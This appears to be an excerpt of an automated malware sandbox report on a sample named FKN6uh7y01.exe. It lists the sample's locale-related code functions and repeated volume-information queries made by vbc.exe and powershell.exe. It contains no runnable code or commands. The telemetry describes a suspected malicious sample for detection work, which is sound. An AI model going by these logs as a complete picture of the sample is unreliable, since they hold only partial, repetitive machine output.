Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: GetLocaleInfoA,	0_2_0041CA85
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement,	0_2_00411BE7
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: GetLocaleInfoA,GetLocaleInfoA,GetACP,	0_2_0041A3FD
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,	0_2_00419D01
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	0_2_0041A514
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: GetLocaleInfoA,_LcidFromHexString,_GetPrimaryLen,_strlen,	0_2_0041A5AC
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,__invoke_watson,___crtGetLocaleInfoW,	0_2_00418E50
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLastError,GetLocaleInfoW,__alloca_probe_16,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,GetLocaleInfoA,	0_2_0041C659
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	0_2_0041A620
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: _LocaleUpdate::_LocaleUpdate,GetLocaleInfoW,	0_2_0041C625
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_00419693
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,InterlockedDecrement,InterlockedDecrement,	0_2_00419F59
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	0_2_0041A7F2
Source: C:\Users\user\Desktop\FKN6uh7y01.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_0041C798

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00114~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
